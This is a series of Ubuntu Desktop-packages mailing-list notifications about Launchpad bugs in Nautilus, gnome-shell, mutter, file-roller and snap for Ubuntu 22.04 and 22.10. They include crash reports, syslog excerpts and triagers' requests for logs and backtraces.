** Changed in: nautilus Status: Unknown => New -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to nautilus in Ubuntu. https://bugs.launchpad.net/bugs/1988686 Title: Read failure Photo SD Memory Card in USB Status in Nautilus: New Status in nautilus package in Ubuntu: Triaged Bug description: Tried to read my SD memory card in the USB slot. Nautilus responded with message box "Force Close" or "Wait". Nautilus is outputting the following messages to Syslog when trying to display the device. Sep 4 14:41:42 Desktopps nautilus[31175]: specified class size for type 'NautilusXContentBar' is smaller than the parent type's 'GtkInfoBar' class size Sep 4 14:41:42 Desktopps nautilus[31175]: g_once_init_leave: assertion 'result != 0' failed Sep 4 14:41:42 Desktopps nautilus[31175]: g_object_new_valist: assertion 'G_TYPE_IS_OBJECT (object_type)' failed Sep 4 14:41:42 Desktopps nautilus[31175]: gtk_widget_show: assertion 'GTK_IS_WIDGET (widget)' failed Sep 4 14:41:42 Desktopps nautilus[31175]: gtk_box_append: assertion 'GTK_IS_WIDGET (child)' failed Able to read this memory card in a Ubuntu 22.04 system. ProblemType: Bug DistroRelease: Ubuntu 22.10 Package: nautilus 1:43~beta.1-2ubuntu3 ProcVersionSignature: Ubuntu 5.19.0-15.15-generic 5.19.0 Uname: Linux 5.19.0-15-generic x86_64 ApportVersion: 2.23.0-0ubuntu1 Architecture: amd64 CasperMD5CheckResult: pass CurrentDesktop: ubuntu:GNOME Date: Sun Sep 4 15:08:36 2022 InstallationDate: Installed on 2022-09-03 (1 days ago) InstallationMedia: Ubuntu 22.10 "Kinetic Kudu" - Alpha amd64 (20220829) ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: nautilus UpgradeStatus: No upgrade log present (probably fresh install) usr_lib_nautilus: file-roller 43~alpha-1 nautilus-extension-gnome-terminal 3.45.90-1ubuntu1 To manage notifications about this bug go to: https://bugs.launchpad.net/nautilus/+bug/1988686/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1988859] Re: Constant short periodic loss of desktop [Failed to post KMS update: drmModeAddFB does not support format 'AR24' (0x34325241)]
** Changed in: mutter Status: Unknown => New -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to mutter in Ubuntu. https://bugs.launchpad.net/bugs/1988859 Title: Constant short periodic loss of desktop [Failed to post KMS update: drmModeAddFB does not support format 'AR24' (0x34325241)] Status in Mutter: New Status in mutter package in Ubuntu: New Bug description: Every so often, the desktop will go black and then re appear on Ubuntu 22.10 Wayland Session which should not be occurring (this does not happen on 22.04.) Note that only the cursor can be seen. Reporting this before release so that it can be patched for (at least) the RasPi. ProblemType: Bug DistroRelease: Ubuntu 22.10 Package: gnome-shell 43~beta-1ubuntu2 ProcVersionSignature: Ubuntu 5.19.0-1001.3-raspi 5.19.0-rc8 Uname: Linux 5.19.0-1001-raspi aarch64 NonfreeKernelModules: zfs zunicode zcommon znvpair zavl icp ApportVersion: 2.23.0-0ubuntu1 Architecture: arm64 CasperMD5CheckResult: unknown CurrentDesktop: ubuntu:GNOME Date: Tue Sep 6 16:10:37 2022 DisplayManager: gdm3 ImageMediaBuild: 20220826 RelatedPackageVersions: mutter-common 43~beta-3ubuntu2 SourcePackage: gnome-shell UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/mutter/+bug/1988859/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1988234] Re: Shell crash after leting file to be opened with gnome-text-editor
Thank you for taking the time to report this bug and helping to make Ubuntu better. It sounds like some part of the system has crashed. To help us find the cause of the crash please follow these steps: 1. Look in /var/crash for crash files and if found run: ubuntu-bug YOURFILE.crash Then tell us the ID of the newly-created bug. 2. If step 1 failed then look at https://errors.ubuntu.com/user/ID where ID is the content of file /var/lib/whoopsie/whoopsie-id on the machine. Do you find any links to recent problems on that page? If so then please send the links to us. Please take care to avoid attaching .crash files to bugs as we are unable to process them as file attachments. It would also be a security risk for yourself. ** Changed in: gnome-shell (Ubuntu) Status: New => Incomplete -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-shell in Ubuntu. https://bugs.launchpad.net/bugs/1988234 Title: Shell crash after leting file to be opened with gnome-text-editor Status in gnome-shell package in Ubuntu: Incomplete Bug description: Steps 1. Open nautilus 2. Select text file and from right click context menu select the second option Open With... 3. Choose gnome-text-editor 4. Shell crashes to GDM If you perform steps for 1st time after reboot it will work and open the file succesfully, but any subsequent try will lead to the crash. ProblemType: Bug DistroRelease: Ubuntu 22.10 Package: nautilus 1:43~beta.1-2ubuntu3 Uname: Linux 5.19.5-xanmod1-x64v2 x86_64 ApportVersion: 2.23.0-0ubuntu1 Architecture: amd64 CasperMD5CheckResult: pass CurrentDesktop: ubuntu:GNOME Date: Wed Aug 31 03:46:07 2022 GsettingsChanges: b'org.gnome.nautilus.preferences' b'show-delete-permanently' b'true' b'org.gnome.nautilus.preferences' b'show-hidden-files' b'true' b'org.gnome.nautilus.preferences' b'show-image-thumbnails' b"'always'" b'org.gnome.nautilus.window-state' b'initial-size' b'(1114, 712)' InstallationDate: Installed on 2022-05-30 (92 days ago) InstallationMedia: Ubuntu 22.04 LTS "Jammy Jellyfish" - Release amd64 (20220419) SourcePackage: nautilus UpgradeStatus: Upgraded to kinetic on 2022-08-28 (2 days ago) usr_lib_nautilus: file-roller 43~alpha-1 nautilus-extension-gnome-terminal 3.45.90-1ubuntu1 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1988234/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1949340] Re: [upstream] Saving downloads or pages is difficult because of unfocused file chooser dialog
In the end, both problems (SaveDialog focus & bad theming) were due to the use of snap version of firefox. Installing the .deb from PPA resolved both : https://www.omgubuntu.co.uk/2022/04/how-to-install-firefox-deb-apt-ubuntu-22-04 Why on earth Ubuntu decided to use snap? -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xdg-desktop-portal-gtk in Ubuntu. https://bugs.launchpad.net/bugs/1949340 Title: [upstream] Saving downloads or pages is difficult because of unfocused file chooser dialog Status in Mozilla Firefox: New Status in chromium-browser package in Ubuntu: Confirmed Status in firefox package in Ubuntu: Confirmed Status in gnome-shell package in Ubuntu: Confirmed Status in gtk+3.0 package in Ubuntu: Confirmed Status in gtk4 package in Ubuntu: Confirmed Status in xdg-desktop-portal-gnome package in Ubuntu: Confirmed Status in xdg-desktop-portal-gtk package in Ubuntu: Confirmed Bug description: Steps to reproduce: 1. Open Chromium (release does not matter, here deb-packaged version from 18.04 LTS is used) 2a. Navigate to some page, press + 2b. Navigate to some page, with "Ask where to save each file before downloading" enabled try to download some file Actual result: * file chooser dialog is unfocused, user should select the window by mouse and then hit for specified location Expected result: * file chooser dialog is focused, user can simply hit to save in previously selected location. To manage notifications about this bug go to: https://bugs.launchpad.net/firefox/+bug/1949340/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1988234] Re: Shell crash after leting file to be opened with gnome-text-editor
Thanks, it's a bit of a weird one, the log has dbus-daemon[2215]: [session uid=1000 pid=2215] Activating service name='org.gnome.TextEditor' requested by ':1.119' (uid=1000 pid=8666 comm="/usr/bin/nautilus --gapplication-service") dbus-daemon[2215]: [session uid=1000 pid=2215] Successfully activated service 'org.gnome.TextEditor' dnscrypt-proxy[1248]: [2022-09-07 10:23:59] [NOTICE] [dnswarden-uncensor-ind1-dc] TIMEOUT gnome-shell[3433]: GNOME Shell crashed with signal 11 gnome-shell[3433]: == Stack trace for context 0x5595fbd19170 == update-notifier[10075]: Error reading events from display: Broken pipe nautilus[8666]: Error reading events from display: Broken pipe evolution-alarm[3842]: Error reading events from display: Broken pipe gnome-shell[4139]: (EE) failed to read Wayland events: Broken pipe but there is no stacktrace despite the shell marker. Do you have a shell report in /var/crash? ** Package changed: nautilus (Ubuntu) => gnome-shell (Ubuntu) ** Changed in: gnome-shell (Ubuntu) Status: Incomplete => New -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-shell in Ubuntu. https://bugs.launchpad.net/bugs/1988234 Title: Shell crash after leting file to be opened with gnome-text-editor Status in gnome-shell package in Ubuntu: Incomplete Bug description: Steps 1. Open nautilus 2. Select text file and from right click context menu select the second option Open With... 3. Choose gnome-text-editor 4. Shell crashes to GDM If you perform steps for 1st time after reboot it will work and open the file succesfully, but any subsequent try will lead to the crash. ProblemType: Bug DistroRelease: Ubuntu 22.10 Package: nautilus 1:43~beta.1-2ubuntu3 Uname: Linux 5.19.5-xanmod1-x64v2 x86_64 ApportVersion: 2.23.0-0ubuntu1 Architecture: amd64 CasperMD5CheckResult: pass CurrentDesktop: ubuntu:GNOME Date: Wed Aug 31 03:46:07 2022 GsettingsChanges: b'org.gnome.nautilus.preferences' b'show-delete-permanently' b'true' b'org.gnome.nautilus.preferences' b'show-hidden-files' b'true' b'org.gnome.nautilus.preferences' b'show-image-thumbnails' b"'always'" b'org.gnome.nautilus.window-state' b'initial-size' b'(1114, 712)' InstallationDate: Installed on 2022-05-30 (92 days ago) InstallationMedia: Ubuntu 22.04 LTS "Jammy Jellyfish" - Release amd64 (20220419) SourcePackage: nautilus UpgradeStatus: Upgraded to kinetic on 2022-08-28 (2 days ago) usr_lib_nautilus: file-roller 43~alpha-1 nautilus-extension-gnome-terminal 3.45.90-1ubuntu1 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1988234/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1988686] Re: Read failure Photo SD Memory Card in USB
Thanks, I can confirm and it's still an issue with 43rc, I reported it upstream now on https://gitlab.gnome.org/GNOME/nautilus/-/issues/2477 ** Changed in: nautilus (Ubuntu) Importance: Undecided => High ** Changed in: nautilus (Ubuntu) Status: New => Triaged ** Bug watch added: gitlab.gnome.org/GNOME/nautilus/-/issues #2477 https://gitlab.gnome.org/GNOME/nautilus/-/issues/2477 ** Also affects: nautilus via https://gitlab.gnome.org/GNOME/nautilus/-/issues/2477 Importance: Unknown Status: Unknown ** Tags added: rls-kk-incoming -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to nautilus in Ubuntu. https://bugs.launchpad.net/bugs/1988686 Title: Read failure Photo SD Memory Card in USB Status in Nautilus: Unknown Status in nautilus package in Ubuntu: Triaged Bug description: Tried to read my SD memory card in the USB slot. Nautilus responded with message box "Force Close" or "Wait". Nautilus is outputting the following messages to Syslog when trying to display the device. Sep 4 14:41:42 Desktopps nautilus[31175]: specified class size for type 'NautilusXContentBar' is smaller than the parent type's 'GtkInfoBar' class size Sep 4 14:41:42 Desktopps nautilus[31175]: g_once_init_leave: assertion 'result != 0' failed Sep 4 14:41:42 Desktopps nautilus[31175]: g_object_new_valist: assertion 'G_TYPE_IS_OBJECT (object_type)' failed Sep 4 14:41:42 Desktopps nautilus[31175]: gtk_widget_show: assertion 'GTK_IS_WIDGET (widget)' failed Sep 4 14:41:42 Desktopps nautilus[31175]: gtk_box_append: assertion 'GTK_IS_WIDGET (child)' failed Able to read this memory card in a Ubuntu 22.04 system. ProblemType: Bug DistroRelease: Ubuntu 22.10 Package: nautilus 1:43~beta.1-2ubuntu3 ProcVersionSignature: Ubuntu 5.19.0-15.15-generic 5.19.0 Uname: Linux 5.19.0-15-generic x86_64 ApportVersion: 2.23.0-0ubuntu1 Architecture: amd64 CasperMD5CheckResult: pass CurrentDesktop: ubuntu:GNOME Date: Sun Sep 4 15:08:36 2022 InstallationDate: Installed on 2022-09-03 (1 days ago) InstallationMedia: Ubuntu 22.10 "Kinetic Kudu" - Alpha amd64 (20220829) ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: nautilus UpgradeStatus: No upgrade log present (probably fresh install) usr_lib_nautilus: file-roller 43~alpha-1 nautilus-extension-gnome-terminal 3.45.90-1ubuntu1 To manage notifications about this bug go to: https://bugs.launchpad.net/nautilus/+bug/1988686/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1988234] Re: Shell crash after leting file to be opened with gnome-text-editor
** Attachment added: "log.txt" https://bugs.launchpad.net/ubuntu/+source/nautilus/+bug/1988234/+attachment/5614259/+files/log.txt -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to nautilus in Ubuntu. https://bugs.launchpad.net/bugs/1988234 Title: Shell crash after leting file to be opened with gnome-text-editor Status in nautilus package in Ubuntu: Incomplete Bug description: Steps 1. Open nautilus 2. Select text file and from right click context menu select the second option Open With... 3. Choose gnome-text-editor 4. Shell crashes to GDM If you perform steps for 1st time after reboot it will work and open the file succesfully, but any subsequent try will lead to the crash. ProblemType: Bug DistroRelease: Ubuntu 22.10 Package: nautilus 1:43~beta.1-2ubuntu3 Uname: Linux 5.19.5-xanmod1-x64v2 x86_64 ApportVersion: 2.23.0-0ubuntu1 Architecture: amd64 CasperMD5CheckResult: pass CurrentDesktop: ubuntu:GNOME Date: Wed Aug 31 03:46:07 2022 GsettingsChanges: b'org.gnome.nautilus.preferences' b'show-delete-permanently' b'true' b'org.gnome.nautilus.preferences' b'show-hidden-files' b'true' b'org.gnome.nautilus.preferences' b'show-image-thumbnails' b"'always'" b'org.gnome.nautilus.window-state' b'initial-size' b'(1114, 712)' InstallationDate: Installed on 2022-05-30 (92 days ago) InstallationMedia: Ubuntu 22.04 LTS "Jammy Jellyfish" - Release amd64 (20220419) SourcePackage: nautilus UpgradeStatus: Upgraded to kinetic on 2022-08-28 (2 days ago) usr_lib_nautilus: file-roller 43~alpha-1 nautilus-extension-gnome-terminal 3.45.90-1ubuntu1 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/nautilus/+bug/1988234/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1988315] Re: gnome-shell crashed with SIGABRT [Clutter:ERROR:../clutter/clutter/clutter-actor.c:11749:clutter_actor_destroy_all_children: assertion failed: (self->priv->n_child
Launchpad has imported 7 comments from the remote bug at https://bugzilla.redhat.com/show_bug.cgi?id=2124341. If you reply to an imported comment from within Launchpad, your comment will be sent to the remote bug automatically. Read more about Launchpad's inter-bugtracker facilities at https://help.launchpad.net/InterBugTracking. On 2022-09-05T18:16:02+00:00 pablo wrote: Description of problem: In branched 37, beta 1.4, closing pidgin crashes gnome-shell (and with it, the whole session because of wayland) Version-Release number of selected component (if applicable): gnome-shell-43~beta-3.fc37.x86_64 gnome-shell-extension-appindicator-42-3.fc37.noarch How reproducible: Always in my setup, haven't tested in others Steps to Reproduce: 1. have gnome-shell-extension-appindicator installed and enabled 2. run pidgin (in my case, open libera) 3. Close pidgin, either from the appindicator icon or from Quit in the menu Actual results: gnome-shell crashes (SIGABRT) and the session is closed Expected results: Pidgin is closed without issues Additional info: Reply at: https://bugs.launchpad.net/ubuntu/+source/gnome-shell- extension-appindicator/+bug/1988315/comments/7 On 2022-09-06T10:31:00+00:00 jadahl wrote: Can you attach a debug backtrace? Do so by running sudo dnf install gdb sudo dnf debuginfo-install mutter gnome-shell glib2 gjs coredumpctl gdb -r gnome-shell then in the (gdb) prompt run backtrace full then attach the output as a file here. Reply at: https://bugs.launchpad.net/ubuntu/+source/gnome-shell- extension-appindicator/+bug/1988315/comments/8 On 2022-09-06T11:49:38+00:00 pablo wrote: Created attachment 1909769 backtrace This backtrace is from yesterday's crash, let me know if that's ok or if you want me to generate it again Reply at: https://bugs.launchpad.net/ubuntu/+source/gnome-shell- extension-appindicator/+bug/1988315/comments/9 On 2022-09-06T11:56:46+00:00 jadahl wrote: Looks like https://gitlab.gnome.org/GNOME/gnome-shell/-/issues/5832. Can you see if you can find the journal logs from gnome-shell from when the crash happened? If you look up the pid from coredumpctl, it might be available if you do journalctl _PID=pid-of-gnome-shell Reply at: https://bugs.launchpad.net/ubuntu/+source/gnome-shell- extension-appindicator/+bug/1988315/comments/10 On 2022-09-06T12:09:57+00:00 pablo wrote: Created attachment 1909772 journalctl from the pid Indeed it looks like the same thing Clutter:ERROR:../clutter/clutter/clutter- actor.c:11749:clutter_actor_destroy_all_children: assertion failed: (self->priv->n_children < prev_n_children) Reply at: https://bugs.launchpad.net/ubuntu/+source/gnome-shell- extension-appindicator/+bug/1988315/comments/11 On 2022-09-06T12:42:03+00:00 pablo wrote: Jonas, I have a feeling (but absolutely no evidence) that this might be related https://github.com/ubuntu/gnome-shell-extension- appindicator/issues/294 , since pidgin is also what triggers that problem for me. Reply at: https://bugs.launchpad.net/ubuntu/+source/gnome-shell- extension-appindicator/+bug/1988315/comments/12 On 2022-09-06T13:17:34+00:00 jadahl wrote: (In reply to Pablo Greco from comment #5) > Jonas, I have a feeling (but absolutely no evidence) that this might be > related > https://github.com/ubuntu/gnome-shell-extension-appindicator/issues/294 , > since pidgin is also what triggers that problem for me. I have no idea, but if this is something you can reproduce, there seems to be a potential fix available if you install the extension from one of the commenters. Reply at: https://bugs.launchpad.net/ubuntu/+source/gnome-shell- extension-appindicator/+bug/1988315/comments/13 ** Changed in: gnome-shell-extension-appindicator (Fedora) Status: Unknown => Confirmed ** Changed in: gnome-shell-extension-appindicator (Fedora) Importance: Unknown => Undecided ** Bug watch added: github.com/ubuntu/gnome-shell-extension-appindicator/issues #294 https://github.com/ubuntu/gnome-shell-extension-appindicator/issues/294 -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-shell-extension-appindicator in Ubuntu. https://bugs.launchpad.net/bugs/1988315 Title: gnome-shell crashed with SIGABRT [Clutter:ERROR:../clutter/clutter/clutter- actor.c:11749:clutter_actor_destroy_all_children: assertion failed: (self->priv->n_children < prev_n_children)] in indicatorStatusIcon.js:317 Status in
[Desktop-packages] [Bug 1987704] Re: Bulk rename Nautilus
** Changed in: nautilus (Ubuntu) Status: New => Incomplete -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to nautilus in Ubuntu. https://bugs.launchpad.net/bugs/1987704 Title: Bulk rename Nautilus Status in nautilus package in Ubuntu: Incomplete Bug description: Bulk rename Nautilus didn't work on Kinetic Kudu after upgraded to Nautilus 43 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/nautilus/+bug/1987704/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1988052] Re: Nautilus can't extract RAR files with password protected
Thank you for your bug report, could you also report it upstream on https://gitlab.gnome.org/GNOME/nautilus/-/issues ? ** Changed in: nautilus (Ubuntu) Importance: Undecided => Low -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to nautilus in Ubuntu. https://bugs.launchpad.net/bugs/1988052 Title: Nautilus can't extract RAR files with password protected Status in nautilus package in Ubuntu: New Bug description: I recently install Ubuntu 22.04.1 and I installed unrar package. But if I open a password protected .rar file in Nautilus with Extract here... it should ask for the password, but instead it shows the error "There was an error extracting name.rar RAR encryption support unavailable." Via a terminal with unrar e name.rar it works as expected and if I double click on the RAR file, it opens a window and asks for the password and work nicely extracting the content. In Ubuntu 20.04 this works fine. ProblemType: Bug DistroRelease: Ubuntu 22.04 Package: nautilus 1:42.2-0ubuntu1 ProcVersionSignature: Ubuntu 5.15.0-46.49-generic 5.15.39 Uname: Linux 5.15.0-46-generic x86_64 ApportVersion: 2.20.11-0ubuntu82.1 Architecture: amd64 CasperMD5CheckResult: pass CurrentDesktop: ubuntu:GNOME Date: Mon Aug 29 09:25:37 2022 InstallationDate: Installed on 2022-08-03 (25 days ago) InstallationMedia: Ubuntu 22.04 LTS "Jammy Jellyfish" - Release amd64 (20220419) SourcePackage: nautilus UpgradeStatus: No upgrade log present (probably fresh install) usr_lib_nautilus: evince42.3-0ubuntu2 file-roller 3.42.0-1 nautilus-extension-gnome-terminal 3.44.0-1ubuntu1 nautilus-share0.7.3-2ubuntu6 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/nautilus/+bug/1988052/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1988234] Re: Shell crash after leting file to be opened with gnome-text-editor
Thank you for your bug report. Could you add your 'journalctl -b 0 > log.txt' log after getting the issue? ** Changed in: nautilus (Ubuntu) Importance: Undecided => High ** Changed in: nautilus (Ubuntu) Status: New => Incomplete -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to nautilus in Ubuntu. https://bugs.launchpad.net/bugs/1988234 Title: Shell crash after leting file to be opened with gnome-text-editor Status in nautilus package in Ubuntu: Incomplete Bug description: Steps 1. Open nautilus 2. Select text file and from right click context menu select the second option Open With... 3. Choose gnome-text-editor 4. Shell crashes to GDM If you perform steps for 1st time after reboot it will work and open the file succesfully, but any subsequent try will lead to the crash. ProblemType: Bug DistroRelease: Ubuntu 22.10 Package: nautilus 1:43~beta.1-2ubuntu3 Uname: Linux 5.19.5-xanmod1-x64v2 x86_64 ApportVersion: 2.23.0-0ubuntu1 Architecture: amd64 CasperMD5CheckResult: pass CurrentDesktop: ubuntu:GNOME Date: Wed Aug 31 03:46:07 2022 GsettingsChanges: b'org.gnome.nautilus.preferences' b'show-delete-permanently' b'true' b'org.gnome.nautilus.preferences' b'show-hidden-files' b'true' b'org.gnome.nautilus.preferences' b'show-image-thumbnails' b"'always'" b'org.gnome.nautilus.window-state' b'initial-size' b'(1114, 712)' InstallationDate: Installed on 2022-05-30 (92 days ago) InstallationMedia: Ubuntu 22.04 LTS "Jammy Jellyfish" - Release amd64 (20220419) SourcePackage: nautilus UpgradeStatus: Upgraded to kinetic on 2022-08-28 (2 days ago) usr_lib_nautilus: file-roller 43~alpha-1 nautilus-extension-gnome-terminal 3.45.90-1ubuntu1 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/nautilus/+bug/1988234/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1949340] Re: [upstream] Saving downloads or pages is difficult because of unfocused file chooser dialog
Still there in Ubuntu 22.04 / Firefox 104.0.2 (from snap) Also, Dialog box does not respect the Dark Theme configured in FF... -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xdg-desktop-portal-gtk in Ubuntu. https://bugs.launchpad.net/bugs/1949340 Title: [upstream] Saving downloads or pages is difficult because of unfocused file chooser dialog Status in Mozilla Firefox: New Status in chromium-browser package in Ubuntu: Confirmed Status in firefox package in Ubuntu: Confirmed Status in gnome-shell package in Ubuntu: Confirmed Status in gtk+3.0 package in Ubuntu: Confirmed Status in gtk4 package in Ubuntu: Confirmed Status in xdg-desktop-portal-gnome package in Ubuntu: Confirmed Status in xdg-desktop-portal-gtk package in Ubuntu: Confirmed Bug description: Steps to reproduce: 1. Open Chromium (release does not matter, here deb-packaged version from 18.04 LTS is used) 2a. Navigate to some page, press + 2b. Navigate to some page, with "Ask where to save each file before downloading" enabled try to download some file Actual result: * file chooser dialog is unfocused, user should select the window by mouse and then hit for specified location Expected result: * file chooser dialog is focused, user can simply hit to save in previously selected location. To manage notifications about this bug go to: https://bugs.launchpad.net/firefox/+bug/1949340/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1923033] Re: Archive manager drag to extract doesn't work on Gnome with Wayland
This bug also happens on 22.04 using X -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to file-roller in Ubuntu. https://bugs.launchpad.net/bugs/1923033 Title: Archive manager drag to extract doesn't work on Gnome with Wayland Status in File Roller: New Status in file-roller package in Ubuntu: Confirmed Bug description: Description: Ubuntu Hirsute Hippo (development branch) Release: 21.04 Opening an archive and dragging a folder/file from it into nautilus doesn't extract it. file-roller: Installed: 3.38.0-1 Candidate: 3.38.0-1 Version table: *** 3.38.0-1 500 500 http://pl.archive.ubuntu.com/ubuntu hirsute/main amd64 Packages 100 /var/lib/dpkg/status nautilus: Installed: 1:3.38.2-1ubuntu1 Candidate: 1:3.38.2-1ubuntu1 Version table: *** 1:3.38.2-1ubuntu1 500 500 http://pl.archive.ubuntu.com/ubuntu hirsute/main amd64 Packages 100 /var/lib/dpkg/status Tested archives: tar.xz, tar.bz2, .zip ProblemType: Bug DistroRelease: Ubuntu 21.04 Package: file-roller 3.38.0-1 ProcVersionSignature: Ubuntu 5.11.0-13.14-generic 5.11.7 Uname: Linux 5.11.0-13-generic x86_64 ApportVersion: 2.20.11-0ubuntu61 Architecture: amd64 CasperMD5CheckResult: unknown CurrentDesktop: ubuntu:GNOME Date: Thu Apr 8 12:50:31 2021 SourcePackage: file-roller UpgradeStatus: Upgraded to hirsute on 2021-04-02 (6 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/file-roller/+bug/1923033/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1776800] Re: Unable to start snap applications if user's home directory is not /home/$USER
We are using Autofs/NFSv4 mounted homes on mountpoint /homes on 25+ multi-user client computers. We decided to use a separate mountpoint to be able to use both NFS mounted and local homes. The bug blocks an update to 22.04 LTS on this computers. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to chromium-browser in Ubuntu. https://bugs.launchpad.net/bugs/1776800 Title: Unable to start snap applications if user's home directory is not /home/$USER Status in snapd: In Progress Status in chromium-browser package in Ubuntu: Confirmed Status in firefox package in Ubuntu: Confirmed Status in lxd package in Ubuntu: Confirmed Bug description: Users with home directories in /home/$USER can run snap application, but users in /home/users/$USER can't. nate@WorkstationC:~$ snap --version snap2.32.8+18.04 snapd 2.32.8+18.04 series 16 ubuntu 18.04 kernel 4.15.0-22-generic nate@WorkstationC:~$ echo $HOME /home/users/nate nate@WorkstationC:~$ which hello-world /snap/bin/hello-world nate@WorkstationC:~$ hello-world cannot create nate data directory: /home/users/nate/snap/hello-world/27: Permission denied To manage notifications about this bug go to: https://bugs.launchpad.net/snapd/+bug/1776800/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
